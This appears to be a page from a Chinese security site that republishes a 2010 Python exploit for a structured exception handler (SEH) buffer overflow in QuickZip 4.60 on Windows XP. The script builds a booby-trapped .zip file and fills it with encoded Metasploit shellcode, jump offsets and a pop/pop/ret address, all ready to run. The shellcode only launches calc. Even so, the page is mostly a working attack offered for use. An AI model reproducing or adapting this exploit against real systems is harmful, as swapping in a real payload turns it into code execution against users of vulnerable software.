首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
QuickZip 4.x (.zip) Buffer Overflow Exploit #2
来源:dz_attacker[at]hotmail[dot]fr 作者:mr_me 发布时间:2010-03-09  
#!/usr/bin/python
# ###############################################################################
# Exploit Title : QuickZip 4.x (.zip) Buffer Overflow Exploit #2
# Date          : 9/3/2010
# Original author        : corelanc0d3r & mr_me
# Second Exploit  : Dz_attacker (dz_attacker[at]hotmail[dot]fr
# Software Link : http://www.quickzip.org/downloads.html
# Version       : 4.60
# OS            : Windows
# Tested on     : XP SP3 En
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team
# ###############################################################################

header1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
 
header2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
 
header3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")

 # win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x58"
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x38\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x38\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x47\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x36"
"\x4e\x36\x43\x46\x42\x30\x5a")
 
print "[+] Building PoC.."
 
junk = "\x44"*302

code =    "\x2D\x6E\x45\x45\x45"      #SUB EAX,4545456E
code +=   "\x2D\x6D\x55\x55\x55"      #SUB EAX,5555556D
code +=   "\x2D\x78\x69\x52\x65"      #SUB EAX,65526978

sploit =  "\x41"*200
sploit += code
#First stage shellcode
sploit += "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIm8taRUGsUQTJA"
sploit += "\x41"*14
sploit += "\x76\xff\x42\x42"	#jump back 94 bytes
sploit += "\x1b\x24\x70\x00"	#0x0070241b p/p/r
sploit += shellcode
sploit += "\x44"*(4064-len(junk+shellcode))
sploit += ".exe"
 
payload =  header1
payload += sploit
payload += header2
payload += sploit
payload += header3
 
mefile = open('dz.zip','w');
mefile.write(payload);
mefile.close()
print "[+] Exploit complete!"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·QuickZip 4.x (.zip) 0day Local
·BigForum version 4.5 remote SQ
·FreeBSD and OpenBSD 'ftpd' NUL
·JITed exec notepad Shellcode
·Linux Kernel 64bit Personality
·OpenSSL < 0.9.8l and previous
·Netscape Navigator - Namoroka
·This Metasploit module will ex
·Spamassassin Milter Plugin Rem
·Orbital Viewer ORB File Parsin
·Lenovo Hotkey Driver / Access
·Easy FTP Server v1.7.0.2 CWD R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved